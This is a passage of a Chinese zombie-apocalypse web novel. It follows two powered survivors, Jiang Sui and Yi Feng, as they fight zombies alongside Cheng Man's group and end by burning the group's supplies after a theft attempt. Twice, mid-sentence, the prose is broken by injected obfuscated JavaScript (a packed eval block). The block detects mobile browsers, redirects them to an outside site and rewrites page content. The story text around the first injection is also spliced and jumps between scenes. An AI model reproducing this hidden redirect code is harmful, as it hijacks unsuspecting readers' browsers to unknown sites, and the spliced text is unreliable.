入口处弥漫着腐血与脑浆混合的腥臭气味,即便是闻惯了,还是惹得江岁颇为嫌弃地撇撇嘴。 她甩了甩刀上的污血,试图在地上的尸体中寻找一块勉强干净的布片,视线飞了几圈,最终还是扔给了易逢处理。 转过头,正撞上程蔓复杂的眼神。 有震惊,有庆幸,更多的还是江岁再熟悉不过的情绪。 忌惮。 实力太强的人,在末世里,即便能成为盟友,也是不容小觑的威胁。 程蔓很快收敛了表情,走上前来:“谢了。” “顺手。” 江岁接过易逢擦得一干二净的刀,顺手捏了捏他的掌心,有些发硬,趁着他迟钝反应过来要握住她的手之前,又收回手把刀插回腰侧。 程蔓对着手下的人挥了挥手,示意他们去处理尸体。 她再看回来,面上已经是从未有过的认真与严肃:“我收回之前的话。” “什么?”江岁问。 “我说你们缺东西。”程蔓苦笑,“这样的实力,无论走到哪里都不会缺物资。现在看来,是我们缺你。” 江岁没接话。 程蔓已经习惯了她这样直白的避而不答,索性转向易逢:“那你呢?考虑加入吗?” 易逢也是意料之内地再次给出了同样的回答。 “我听她的。” 程蔓的目光在两人之间来回游移,只能叹了口气:“行,你们商量着决定吧。天亮之前给我答复就行。” 江岁看着她沿着坡道往上走了,慢慢消失在入口。 “她倒是直接。”江岁轻啧一声。 易逢闷不做声,捏着她的围巾往上拽了拽,帮她挡住风口灌进来的冷风。 他的手指蹭过江岁的颈侧,激得她微微蹙眉,只感觉活像是被块千年老冰割了一下,凉的发疼。 刚才动手的时候江岁就注意到他的指节已经发僵,现在身体也脱离了人体受寒后正常的温度。 这是使用异能后没有得到高阶晶核及时补充的后遗症。 他们两个再找不到高阶丧尸,被异能持续的消耗拖成行尸走肉也是迟早的事。 江岁偏过头看他,抬手握住他,掌心贴着那冰凉的快要摸不出是人类的皮肤,指腹按在他的掌根碾了碾,“你不想走?” 易逢垂下眼,静静看着他们交握的手,没答。 “说实话。” “……还行。”他轻轻动了动尾指,与她的食指指尖浅浅厮磨,“至少,不用你一个人冲在前面。” 江岁看着他,摇摇头:“你和我,两个人。” 他原本正贴着浅浅磨蹭的指尖被这话扰得颤了颤,顺着她的指缝往下滑,指节缓缓扣在一起。 那张寡淡的脸上少见地浮现出一层浅薄的像是期待的东西,雾蒙蒙地笼在他眼底,连带着向上飞挑的眼尾都晕上些霞色。 可当他张了张唇想说什么,“我……” 江岁已经漫不经心抽回手,略显烦躁地揉了揉额角。 她如今被身体内止不住翻涌的空虚感侵袭得整个脑袋发胀,恨不得把匕首插进去搅两圈才好。 想来易逢也没好到哪去。 “说这么多没用的。”她转身往里走,“再弄不来高阶晶核,我们两个一起蹬腿。” 易逢的唇张了又合,迟缓地收回还悬在半空的手,半晌才闷闷应声。 “哦……” 5. 又一年冬05 后半夜安稳下来,程蔓的人交替值班,安排了人守着火堆和入口。 除却噼里啪啦的火灼声和偶尔压抑的低声交谈,整个地下停车场都静得让人头脑发晕。 江岁侧躺在靠墙的角落里,身下垫着几块叠在一起的破纸壳,身上盖着程蔓给的厚棉花被子,饶是破了几个洞往外飞着棉絮,仍旧厚暖到压得人喘不上气。 易逢原先是与她背靠着,正对着入口那边躺着,不知怎么滚了几圈,就转了个身,胸膛虚虚贴着她的后背。 整个人一段软一段硬的挨着,身上还凉得像块寒冰,惹得江岁往里又缩了缩。 他倒是毫无察觉一般又紧跟着贴上去,狗皮膏药似的。 脸皮忒厚。 压在江岁后腰的被子被偷摸摸抽出一角,灌进来些冷风,紧接着就是笨手笨脚往里钻的窸窣动静。 她没动,懒得理他。 窸窸窣窣的动静慢慢停了,腰后的衣料却被磨蹭着,缓缓往上探过来。 江岁抬手抓住那只试图搭在自己腰上的手,没睁眼,淡漠评价:“爪子痒?” 背后紧贴着的身子僵了僵,随即又撒娇似的靠近了些,温热的呼吸喷洒在颈后落下一片湿热。 软翘的发丝蹭在皮肤上,痒得江岁松了力道。 易逢的声音闷在被子里,瓮声瓮气,“冷。” 江岁对他这副不通人性的模样实在没招,掌心压着他的手背带到自己半敞的外套内,紧贴着温热的腹部,将那只冰得石头似的手捂在怀里。 “睡。”她命令。 易逢得寸进尺地把脸埋深了些,鼻尖抵着她的后颈浅浅嗅着,心满意足般微微收紧手臂将她半圈在臂弯里。 天光斜斜从停车场入口洒进来的时候,江岁就已经睁开了眼睛。 火堆已经被烧得只剩下暗红的余烬,无孔不入的寒意又顺着某处丝丝缕缕钻进皮肉,扎得人生疼。 江岁坐起身,正瞧见程蔓靠站在入口的断墙后,背对着他们,与那几个人说了有一阵儿了。 怀中的身子离开了,易逢也就跟着醒来,眼睛还没睁开,指尖就下意识摸到了背包侧袋的折叠刀上。 “正好,”程蔓听到动静,转过身,“有事商量。” 江岁推开被子叠了几叠,挡在一旁,站起身按着肩膀活动几下,关节咔咔响着。 “说。” “我们打算往北走五公里,那边有个早些时候没搜干净的物流仓库。”程蔓也不拐弯抹角,“昨晚上你也看到了,这批丧尸来的不对劲。稳妥起见,我想请你一起。” 见江岁没立刻应声,她又补了句:“搜到的东西,你们先选。” 这条件给的还算厚道。 江岁低头看看还在揉眼睛的易逢。 他移开手后露出的那双黑沉沉的眸子,安静仰头看过来,一眨不眨。 “行。”江岁应了,“什么时候走?” “现在。” 一夜过去,雪小的快要看不见了。 雾雾星星,雨丝似的。 天还是灰蒙蒙的,分不清是云还是霾,今日的太阳被层层掩住,只余下一团发散的光晕悬在东南角。 雪饶是小了,地上落的还是又厚了一层,一脚下去能没过脚踝,每一步都带着嘎吱嘎吱的闷响。 雪厚了,路程近,就没开车,一行六人步行过去,看意思是准备先探探路。 程蔓走在最前面,先前打过照面那个弩弓男,叫赵敬,跟在其后,再往后是大刘和眼镜。 大刘是个膀大腰圆的壮汉,扛着把消防斧,眼镜则是个瘦高的年轻人,背了个大包,手里攥着把匕首,看着不太能打,但眼神活泛,应该是个脑子好使的。 江岁和易逢缀在队伍末尾。 走了约莫半个小时,周围的建筑愈发稀疏,旁侧的车骸逐渐多了起来。 铁皮盒子被积雪压得变了形,歪七扭八躺倒着,有的车窗还在,只可惜遥遥望过去只看见黑洞洞的一片,什么也看不清。 江岁的脚步慢了半拍。 她闻到了。 那种混合着腐肉和铁锈的甜腻气味,几乎要被风雪凌厉的寒意盖过去,但这对她来说实在太过熟悉,熟悉到难以忽略。 “等等。”江岁开口。 程蔓立即停住,回头看她,压低声音问:“怎么了?” 赵敬的弩弓抬起来,大刘握紧斧柄。 江岁没答,侧耳去听。 风。 只有风声。 她偏过头去,对上易逢沉静的眼。 他也发现了。 “前面。”江岁冲着五十米开外那辆横躺在路中间的厢式货车抬抬下巴,“车厢里。” 程蔓顺着看过去,脸色变了变。 “散开。”她打了个手势,几个人迅速拉开距离,呈扇形往货车逼近。 江岁没动。 易逢也就安稳站在原地。 “不去帮忙?”他问。 “先看看。”江岁眯起眼睛。 程蔓停在货车侧方,手隔空悬在厢门把手位置,后面两人已经做好准备迎接这个未知的存在。 厢门锁扣咔哒一声,凭空弹出,应着程蔓虚悬的拨弄动作,骤然打开。 江岁挑了挑眉。 如她想的一样,程蔓能带领一个小队,必然是有异能,但是小队质量不高,就只能说明她的异能等级也不高。 现在看来,应该是金属类偏初阶。 车厢里面蜷着个人。 女人,三十来岁,穿着件脏得看不出颜色的羽绒服,头发结成绺贴在脸上,她缩在车厢最里面,双臂抱着膝盖,露出的半张脸惨白得泛青。 “别、别杀我……”她的声音沙哑得几乎听不清,“我不是……我没被咬……” 程蔓蹙眉,“哪来的?” “我……我躲进来的……昨晚、昨晚有丧尸追我……”女人哆嗦着指了指北边,“好多……好多丧尸……” “你一个人?” “还有一个……我弟弟……”女人的眼泪突然涌出来,“他为了引开丧尸……往那边跑了……我不知道他是不是还活着……” 程蔓的眉头拧紧了。 江岁在这时候走上来,站在程蔓身侧,往车厢里看了一眼。 那个女人抬起脸,泪水在脸上冲出两道灰白的痕迹,眼神涣散,嘴唇发紫,确实是吓坏了的样子。 “你弟弟往哪边跑了?”江岁问。 “那边。”女人指了指西北方向,手指抖得厉害,“那片烂尾楼……” 江岁盯着她的眼睛看了两秒,随后抽出短刀。 程蔓还没反应过来,江岁已经一脚踏进车厢,刀刃贴着女人的脖颈划过去。 羽绒服的领子被刀背挑开,露出锁骨。 上面有个骇人的伤口,明显是被啃食过。 边缘的皮肤泛着不正常的青紫色,细密的黑色血管从伤口往四周蔓延,像蛛网一样爬满了大半个肩头。 女人脸上的惊恐凝固了。 “……被咬了?”程蔓的声音发紧。 “昨天晚上……”女人的声音突然变得平静,眼泪还在流,嘴角却往上扯了扯,“被咬的时候,我弟弟跑了……他说去找人救我……他没回来……” 她的瞳孔开始涣散,焦距一点点消失。 “求你们……”她说,“别让我变成那种东西……” 大刘举起了斧头。 江岁比他更快。 短刀刺进女人的太阳穴,干脆利落。 刀尖从另一侧透出来,带出一小截灰白的晶核碎片,还没成型,削薄一片。 女人的身体软下去,脸上还挂着那个古怪的笑。 江岁抽回刀,在女人的羽绒服上擦干净,跳下车厢。 “走。”她说。 程蔓看了她一眼,没说话,挥手示意队伍继续前进。 物流仓库比江岁预想的大得多。 两栋联排的钢结构建筑,蓝铁皮的墙面被雪水锈出大片红褐色的斑痕,卷帘门塌了一半,斜斜挂在轨道上,风从破裂的缝隙中灌进去,发出呜呜的鬼叫。 “分两组。”程蔓迅速做出分配,“赵敬、大刘,你们去B栋。我、眼镜,加上你们两个,搜A栋。遇到情况,吹哨。” 赵敬点头,带着大刘往侧面绕过去。 江岁推开A栋的侧门,门轴发出刺耳的尖响。 里面比外面更暗,高处的采光窗被积雪糊住了大半,只剩下几道惨白的光柱从缝里刺进来,其余的地方都沉在灰暗里。 货架横七竖八倒了一地,纸箱子被翻得乱七八糟,能看出早就被人搜过不止一遍。 “往里走走。”程蔓打头,军刺握在手里,步伐放得很轻。 眼镜跟在她身后,从包里摸出个小手电,光柱扫过货架之间的通道。 空的。 空的。 还是空的。 走到仓库中段的时候,易逢轻轻勾了勾江岁的尾指。 与此同时,她被生理机能摧折得发昏的大脑蓦然清醒一瞬。 “停。”她的嗓音染上怪异的轻颤。 所有人同时停下。 手电的光柱定在正前方。 货架尽头,大约二十米外,站着一道身影。 它的体型比普通丧尸大出整整一圈,身高接近两米,肩背宽厚得不成比例,像是被人硬生生塞进了一具不属于它的躯壳。 皮肤呈现出一种诡异的灰绿色,表面布满蜿蜒的裂纹,破裂的皮肉里渗出黏稠的暗红色液体,滴在地上,将覆着雪层的地面融出一个个冒着热气的小坑。 它的眼睛不是普通丧尸那种浑浊的灰白,而是两团暗红色的光点,嵌在深陷的眼眶里,像烧到一半的炭。 中阶丧尸。 而且是有异能的。 “退。”江岁压低声音。 易逢交错着走到她身侧。 那东西的嘴张开,露出满口参差不齐的尖牙,喉咙深处涌出一团暗红色的光。 一道火线从它口中喷涌而出,直直朝他们扑过来。 火焰的温度高得惊人,所过之处,纸箱瞬间碳化,货架的钢铁支架以肉眼可见的速度发红、变软。 程蔓拽着眼镜往侧面扑倒,火焰擦着她的后背掠过,军大衣的毛领子被燎得卷曲发黑。 江岁不退反进。 她迎着那道尚未消散的火线直直撞上去,掌心从腿侧滑过,短刀已然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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江岁站在旁侧静静看着,有一搭没一搭擦拭着手中的短刃。 战斗后大脑中残存的兴奋感尚未被完全消耗,搅动着她的神经,使得她眼中易逢的一举一动都蒙上了层情/色意味。 可体内亟待补充的空虚感一波波荡上来,又和那种躁动恰巧地交融在一起,勉强压制住她不稳定的情绪。 易逢的脸色肉眼可见地好转,嘴唇恢复了血色,是那枚晶核在发挥作用,正一寸寸填补他被异能透支的身体。 江岁随意抹了把他染着层晶莹水渍的下唇,指尖短暂停顿一瞬,厚软的发烫。 他的体温已经恢复正常了。 她的视野里白茫茫的晃着,目光往下移了半寸,这才注意到自己的右手。 掌侧被烫出一片狰狞的水泡,皮肉翻卷着,能看到下面嫩红的肉。 她感受不到这种程度的痛感,只有一种奇异的酥麻从伤口蔓延到手臂,虫子爬似的。 易逢的视线落在她手上。 “你的手。”他又说这句话。 江岁没再回绝,把手伸过去。 易逢握住她的手腕,指腹轻轻贴上那片烫伤的边缘。 伤口开始愈合。 水泡以肉眼可见的速度瘪下去,翻卷的皮肤往中间快速收拢,新生出的粉白皮肉细细密密黏连在一起,最后连疤痕都没留下。 江岁盯着自己完好如初的掌心,手指蜷了蜷,又忍不住有些遗憾,刚才怎么没把那块伤口蹭得更大些再让他治疗。 “好了。”易逢松开她。 “走了。”江岁还是那副恹恹的模样,“程蔓她们还在等。” 易逢“嗯”了声,跟在她身后。 走了两步,他忽然伸出手,指尖碰了碰她垂在身侧的手背。 江岁没躲。 他就把整只手贴上来,掌心覆着她的手背,指节试探着往她指缝里滑。 江岁反扣住他的手,指尖陷进去,拉着他往程蔓他们的方向走。 程蔓正嘱咐着眼睛回去注意身上的伤口,瞧见他们过来了,对着整理好的物资努努下巴。 “物资剩下的不多,但够一阵的。”程蔓没提那两枚晶核,对他们两个的姿势也见怪不怪,面上看不出什么异样,“你们先去挑?” 江岁点点头,朝着纸箱那边走了两步,又不经意似的问了句:“你们之前来的时候,有遇见过中阶丧尸吗?” 程蔓摇头:“我们哪能遇见这种东西,一群普通的都够我们吃一壶了。” 她笑,“赶明天收拾好东西,等回去清点了物资,我们就往基地赶过去。人多的地方,再大的变数也能一起解决。” 易逢俯身扒拉着纸箱子,挑了几样塞进背包。 不多不少,两个人的量。 “现在是几月?”江岁神游似的发了会儿呆,忽然问。 程蔓思索半晌,有些不确定:“六七月?” 江岁仍旧握着易逢的手,偏头看向大咧咧敞开的卷帘门。 风声呼啸,雪又下大了。 七月。 安息月快要来了。 6. 安息月01 安息月一年两次,分别在一月和七月,都是曾经活着的人掰着手指头一天天数出来的。 最初也只是个模糊的概念。 在末世开始的前两年,幸存的人们处在惶惶不安之中,恍然发觉在某一天,街道上游荡的丧尸尽数消失了,人间蒸发一般只留下了这个被摧残后破败的寂寥世界。 人们惊恐、难以置信,纷纷躲在安全的地方度过了为期一个月的“安全日”。 没有伤亡、没有哀嚎,只有提心吊胆躲藏在黑暗中苟且偷生的三十天。 可同样也有趁此时机外出探寻物资的亡命徒,踏着自己的脚步声,走回空荡的街道。 于是这个世界对人类开的第一个玩笑,就此展现在他们面前。 江岁仍旧与易逢跟在队尾,两只手交叠着握在一起,易逢稍前错她一步,拉着她慢慢沿着程蔓他们踩出的雪坑印走。 余下的那枚晶核还贴在她大腿外侧的口袋里,硬邦邦的,硌得有些难受。 这枚晶核的杂质太多,也不知道那只丧尸究竟是吃了多少垃圾,致使整个晶核都灰蒙蒙的掺着黑团,品质低了几个档次。 汲取这枚晶核的能量,对江岁而言简直算得上污染。 她是绝不会吃下去的。 没其他的原因,只是纯粹的嫌弃。 一路上往回走更是印证了江岁的猜想,沿途就连普通丧尸的影子都变得少得可怜。 这群没脑子的畜生向来如此,一临近安息月,就成群结队地寻找隐蔽的地方躲藏起来。 等安息月到来后,它们就一个个像是被抽了魂一样僵直着充当肉/体雕像,任由宰杀屠掠。 起初人们以为这是上天的恩赐,纷纷提起武器开始剿杀“休眠”状态下的丧尸。 可还没来得及感恩戴德,感谢天不亡我族类,这片由臆想织就的轻纱就被赤裸裸撕碎了。 那些看似无脑的聚众送死行为,是丧尸埋藏在本能之中的献祭,是独属于它们的筑巢使命。 在它们的巢穴之中,会用同类的血肉饲养出具有智慧与异能的更高阶丧尸。 同类相残,弱肉强食,这样残酷的自然法则在丧尸之中竟然更加直白地袒露了出来。 而有智慧的高阶丧尸无异于丧尸用生命堆砌出的君主。 它们的诞生,会提前终止所在地区的安息月,并引领大批丧尸形成尸潮围剿人类,肆意冲刷这片本就破败不堪的大地。 可以说除却末世最初两年曾有过真正意义上的安息月,此后几年,这个词便与达摩克利斯之剑无异了。 回到地下停车场已经到了午后,穹顶那点光团往下掉了点,灼得天幕边翻出圈浅霞,衬得视野里飘飘摇摇的雪丝更加扎眼了。 江岁靠坐在角落里,盯着不远处铁桶里噼啪跳动的火苗,眼神有些发虚的落不到实处。 易逢就坐在她身侧,微微侧着身子,为她挡着入口不间歇搅进来的寒风。 他仍旧紧紧握着她的手,十指紧扣着,执拗地从仓库牵到了这里。 江岁饶是明白他是担心自己会因为异能透支催生异化,想通过她的体温变化实时判断她的状态。 可这样被黏黏糊糊地束缚着,她还是难以适应。 江岁试探着转了转手腕试图抽出来,下一秒又被攥得更紧,一抬脸就对上易逢满是控诉的眼。 他的眼尾都向下垂着,眉间浅浅聚起点不甚明显的愁绪,原本厚实饱满的唇被抿成一条泛白的线。 这已经是易逢难得情绪外漏的表情。 江岁被这眼神烧得浑身不自在,刚准备开口刺他几句,那头刚还在安排人清点物资的程蔓忽然喊了声。 “江岁,我这有人受伤了,能让易逢过来帮个忙吗?”她远远招了招手,握着眼镜的胳膊往上抬了点,露出块着实算得上惨烈的烧伤创痕。 易逢先是低头看向江岁,见她点了头,下意识就想站起身拉着她一起过去。 直到掌心的温度缓缓褪去,交叠的指节错落滑开,他停在原地看看自己空荡荡的手,被江岁催了声,才拖着步子朝程蔓走过去。 程蔓把眼镜交给易逢,甚是放心地走到了江岁身边,半倚着墙,同她一起欣赏那块腐烂皮肉上堪称神迹般的自愈表演。 “他这异能,”程蔓感慨似的问,“能做到什么程度?” 她顿了顿,试探地问:“肉白骨?活死人?” “人死了就是死了。”江岁淡淡回应。 程蔓笑了笑,没再问。 毕竟现在这个世界,人死了可不是死了,是变成行尸走肉了。 真是想死都难。 江岁慢悠悠掀起眼皮看她。 程蔓的脸在火光里半明半暗,额角那道疤痕被阴影衬得更深,像是要将整张脸撕裂开来。 程蔓不躲不避任由她看,指了指不远处的帐篷:“今晚你们去睡?” 江岁问:“那你呢?” 程蔓冲着入口抬抬下巴:“今天我守夜。” 这意思太明显不过。 程蔓刚才让易逢去救治眼镜也好,问那几句也罢,都是为了打探易逢的异能等级。 她们打定主意要去基地,光凭程蔓一个人的初阶异能肯定是不足以带领这个小队伍获得足够的资源分配,更不用提能得到什么优待。 但是如果有易逢的加入,一切就都不一样了。 这样稀有且强悍的异能,无论在哪里都是备受追捧与觊觎的,基地为了留下易逢,自然会尽力用优渥的条件安抚同行者,她们的生活水准便定然可以拔高不止一个等级。 想的挺美。 江岁不咸不淡“嗯”了声,算是接下她的示好。 入夜后,雪一如往常地簌簌往下落,成团地砸着,啪嗒作响。 江岁侧躺在帐篷内,脑袋底下枕着易逢的背包,里面塞得鼓鼓囊囊,东凸西翘得支棱着,硌得她睡不着。 易逢就背对着她坐在帐篷口,尾发从他的肩侧垂下来,伴着卷进来的风来回轻轻荡。 他的外套下摆被微微扯起来点儿,露出一小段腰背,随着他往前俯身捡东西的动作更往上抻出更多。 两点浅浅的腰窝陷在脊柱两侧,像是被人握着腰按出的印子,盈盈得恰好能盛住缝隙泄进来的两汪月光。 江岁被那截发尾晃得眼晕,伸出手,指尖勾着一缕攥在掌心,往自己的方向轻轻扯了扯。 易逢被这突如其来的力道带着往后仰了点头,身子晃了晃,反手握住她的手,掌心覆上去,将她冰凉的手指拢住。 “江岁。”他唤。 江岁笑了声,由他握着,抬起空着的手探过去,虎口扣在他的腰侧,严丝合缝与那段劲瘦的腰嵌在一起。 她的拇指指腹顺着那段微微凸起的脊柱缓缓往下,一寸寸轻抚着滑过去,最终落在那汪浅窝上,压着往下用力碾了碾。 她的手腕猛地被攥紧,悬在半空晃了晃。 再落到实处,易逢已经转了过来面对着她,手上被桎梏的力道松了些,她的指尖便掉下去,虚虚贴在了他的小臂上。 易逢垂眼看着她,脸上的表情还是一如既往的寡淡,眸子里黑沉沉地映着点晃动的冷光,看得江岁更晕了。 她的手指顺着他的手腕往上,指腹贴着他掌心的纹路缓缓滑过去,指尖嵌入他的指缝间,与他十指交握。 “江岁。”他又唤,嗓音低了些。 “嗯?”江岁恹恹抬眸。 易逢盯着她看了几秒,随即俯下身。 他的动作在江岁眼中像是被刻意放慢的慢动作,一帧一帧,卡顿似的逐渐靠近。 他们鼻尖先轻轻相触在一起,皮肤都被寒意熏得微凉,眷恋地贴着蹭了蹭,才偏过去侧开。 再贴上来,就是他干燥温热的唇,柔软地压在她的唇角,唇瓣裹着清浅的水声,轻轻张开些,再抿着,便将她的下唇含在中间。 江岁没动。 易逢就更得寸进尺。 他的唇厮磨着蹭到中间,舌尖抵着她的唇缝,一点点往里探。 呼吸缠在一起,近得分不清围绕在鼻尖的味道,究竟是那股经久不散的药味,还是她自己熟悉的草木清香。 江岁挣开他的手,往上扣住他的后颈,压着他压得更低。 易逢顺从地弯下去,几乎快要整个人俯趴着贴在她身上,只能分开双手撑在她身侧,任由她缠着搅动,被吻得舌尖发麻,唾液顺着唇角溢出来,挂出条银线。 他喘不过气了,舌尖抵着往外推了推,这才得以分开些许。 可他着实贪恋那点吻,忍不住贴着她的下颌轻浅地啄着,移到颈侧,又顺着她脖颈上那道横截的疤痕反复卷着舔/舐。 那处长好后生出的新肉比其他地方敏/感得多,平日里只是发丝剐蹭到都会痒得她难受,更不用提被这样叼着皮肉吮/咬. “痒。”江岁惩罚似的握住他的腰,往外带了带。 易逢含含糊糊“嗯”了声,两片唇分开衔着,舌尖一挑,又将那点疤痕卷入齿间轻轻磨着。 江岁被激得微微仰起头,眯着眼睛瞧着帐篷顶上破开的小洞,呼呼往里鼓动着灌风,和她现在胸腔里翻涌不定的躁动不相上下。 她的手沿着他凹陷的后腰落下去,指尖勾着裤腰的边缘,刚准备往下拽—— 窸窸窣窣。 帐篷外传来脚步声。 是刻意压着的动静,轻飘飘落不到实处,胡乱地散着。 格外拖沓、熟悉,越来越近。 易逢的唇还贴在她颈侧,紊乱呼吸已然恢复平稳,脸颊埋在她的颈窝里,抬眼看上来,幽深的瞳孔倒映出她微眯着的眼。 江岁竖起一根手指,压在自己唇上比了比,随后往前移,指尖抵着他的眉心轻轻推开段距离。 她原本搭在他后腰的手已经压在了腿侧的短刀上。 帐篷的拉链被人从外面触碰着拨动。 易逢无声翻身蹲伏在她身旁,指尖触到背包侧袋的折叠刀。 拉链往下滑了半寸。 江岁蓦然动了。 短刀刀背狠狠撞上拉链位置,刀刃与金属锁头的碰撞声炸响,布料被划开一道狰狞的裂口。 她躬身从破口窜出去,反身扣住来人肩膀扭转过来,膝盖砸在对方胸口,将人钉在被撞击风波吹得荡开满眼灰尘的地面上。 刀尖抵着颤抖的咽喉,江岁又往下压了几分,直至嗅到浅淡的血腥气,才止住力道。 是那个坡脚的瘦子,老七。 他手里攥着把匕首,另一只手死死抵着她的膝头试图推开,脸上的表情逐渐从刹那间的惊恐扭曲成怨毒。 “我……我是来……” 江岁不愿给他废话的机会,刀刃再度往下送了送,“来找什么?” 老七震颤的瞳仁在瞪大的眼眶里胡乱转动着,像是两颗在盒子里胡乱弹动的珠子。 他不甘心地挣扎半晌,发觉怎么也挣脱不了,才认命般松了手。 匕首滑落,砸在地面上,咔哒一声响。 “我……我……” “晶核?”江岁替他答了。 老七的脸瞬间白了。 “程蔓让你来的?” “不是!”他又一次拼命挣扎,细瘦的四肢胡乱摆动着,嗓音尖锐地拔高,“不是队长!” “是我自己!我就是……就是想看看……我听说你们杀了一个中阶……”他胡言乱语地辩解,已经快要喘不上气,两颗裹着白的黑珠子都有了被往外挤出来的趋势。 他还没说完,一道闪烁的手电光柱从入口方向扫过来。 程蔓的声音紧跟着响起:“怎么回事?” 江岁头也没抬,烦躁地加重力道把人压得更死。 咔哒一声,刀刃滑动弹出的轻响。 那束光被挡住了。 易逢已经挡在了她身前。 程蔓大步走过来,身后还跟着赵敬和大刘。 三个人一眼看过去都是一概不知的茫然模样,甚至后面两个衣服都是胡乱套的,倒像是刚睡醒似的。 眼看着老七一口气快要喘不上来,程蔓脸色变了变,“江岁,先把刀放下。” 江岁没动。 “我说,把刀放下。”程蔓的声音沉下去,挂在腰侧的军刺也握在了手中,“有话好好说。” 回应她的是易逢丝毫不退的身影和江岁不加掩饰的嗤笑。 “好好说?”江岁的脑袋晃了晃,向后倒着看过去,她视野里的画面完全倒过来,把程蔓那张阴沉的脸衬得更加难看,“你的人大半夜拿着刀摸到我帐篷门口,你让我好好说?有什么可说的?” 程蔓被她直白的问话堵得眼神闪了闪,转向老七:“你干什么了?” 老七眼球无规律地晃荡着,被吓破了胆一般,含混地连句连贯的话都说不出来,“我……不……我……做……” 程蔓深吸一口气,放弃了追问,收回军刺,“这事是我不对,没管好手下的人。你放了他。我给你个交代。” “什么交代?”江岁兴致缺缺。 “物资。”程蔓补充,“我们有的,给你一成。” 江岁歪了歪头,脖颈上那道疤痕在这个动作下被拉扯着抻开,边缘泛起暗红色的细密纹路,蜿蜒着向四周蔓延,可怖又诡异。 “程蔓,”她嗓音很轻,“你觉得我缺物资?” 程蔓被她这副模样骇得往后退了半步,惊疑不定看着她,“那你……想怎么样?” 江岁站起身,漫不经心收了刀,“没什么。只是觉得你们这地方,真够没意思的。” 她与老七分开距离的瞬间,对方仿若是回魂般恍了恍神,连滚带爬爬起来躲到程蔓身后。 江岁没看他,冲易逢使个眼色,他立马转身往帐篷走,去拿他们的背包。 “江岁。”程蔓喊她。 “这事是老七的错,我认。”她的嗓音与呼啸的风雪声交融在一起,忽高忽低地听不真切,“但你不能因为他一个人,就否认我们整个队伍。你也看到了,我们这些人,都是拼了命才活到现在的。” 江岁刚转过身走出去几步,闻言顿住了。 汹涌的烦躁彻底将她淹没,细细碎碎的痒意已经从脖颈爬到了下颌,甚至有往面部延伸的趋势。 她抬手随意挠了挠,触到皮肤表面凹凸不平隆起的细小血管,密密麻麻,有生命般鼓动着。 她最烦这套道德绑架。 江岁的视线从程蔓愈发复杂的脸上划过,又看向逐渐聚拢过来的,站在她身后的每个人,最后停在畏畏缩缩的老七身上。 “拼了命活到现在?”她重复了一遍,唇角吊诡地勾出个笑,“那就继续拼命活着吧。” 帐篷被掀开,易逢走出来,背着包站在她身侧。 “走了。” 江岁率先朝入口走去。 停车场入口的斜坡上还堆着沙袋,一如往常,值守的时候他们把铁桶拖了出去,如今里面烧得只余下忽明忽灭的余烬。 江岁弯腰从他们整理好的物资里拎出两桶汽油,顺手抛给易逢一桶。 程蔓还站在原地,嘴唇动了动,像是想说什么。 江岁拧开汽油桶的盖子,刺鼻的气味瞬间在停车场内弥散开来。 “江岁!”程蔓嗓音骤然尖锐起来,“你要做什么!” 所有人都变了脸色。 大刘握紧消防斧往前迈出一步,却被程蔓紧绷着脸拦住。 “江岁,我们好好商量——” 汽油泼出去,浇在码放整齐的物资箱上,飞溅在帐篷、帆布棚子上。 她从易逢口袋里摸出个打火机。 咔哒。 火光在指尖跳跃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485834|201999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而起。 “拦住她!”程蔓嘶吼。 大刘迈出几步,第一个冲上来,消防斧抡圆了劈下来。 江岁侧身避开,短刀贴着斧柄往上削,刀刃擦过大刘的手侧,斩飞出去一段指节。 大刘闷哼一声,斧头颤了颤险些脱手,还没反应过来,膝盖窝就直直挨了一脚,紧接着就是迎面一拳,打得他轰然跪倒在雪地里。 赵敬的弩箭破空射来。 易逢从侧面跨过来,攥着一个人手中的钢管硬生生夺过来,横挡在江岁身前,将弩箭击飞出去。 他顺势贴着江岁的后背旋身过去,挥动钢管横扫,正中赵敬的手腕。 清脆的骨裂声,弩弓落地,赵敬捂着扭曲的手腕倒退几步,面容狰狞。 寒光在余光中一闪而过。 程蔓攥着军刺朝江岁刺来,刃口上附着着一层金属特有的冷光。 整把军刺都在肉眼可见地微微震颤,显然是被她的异能附加了什么特质。 江岁提着短刀迎上去,刀尖与军刺相撞。 程蔓的力量比她预想中更大,在异能加持下,军刺压得江岁手中的刀身微微弯曲,迎面的那双眼睛里映不出半分光亮,幽幽宛若笼罩着拨不开的黑雾。 可惜江岁只从里面看到了赤裸的贪婪。 “你就这么赶尽杀绝?我只是想带着所有人活下去!” 程蔓目眦欲裂。 江岁扯了扯唇角。 “活下去?谁不想。” 江岁斜踢一脚她的脚踝,膝盖顶上去,狠狠撞在程蔓的腹部。 这一下顶得程蔓喉咙里泄出点儿嘶哑的气声,抵抗的力道蓦然松了,短刀便趁机压过去,刀背重重砸在她的手腕上,军刺脱手飞出。 程蔓跌坐在雪地里,捂着腹部,剧烈地咳嗽,呕出两口带着血沫的胆汁。 她知道。 任何反击都没用了。 江岁居高临下看着她,火势已经翻涌着蔓延开来,热浪滚滚,烧了她的半边天。 那些细密的红纹已经爬到了江岁的侧脸,像是诡异的裂纹缀在那张满是非人般漠视的面上。 她如今又站在烈火前。 黑的红的橙的,交织着。 于程蔓而言,这样的江岁已经与阎罗无异。 “冠冕堂皇的话说多了,你自己也信了?”江岁俯身与她对视,“你挂在嘴边的物资,也包括这群跟着你的人吧。” 程蔓嘴唇哆嗦着,说不出话。 人自私很正常,但这种针对内部的自私,即便程蔓能给出再多看似情理之中的理由,也是江岁最为排斥与厌恶的。 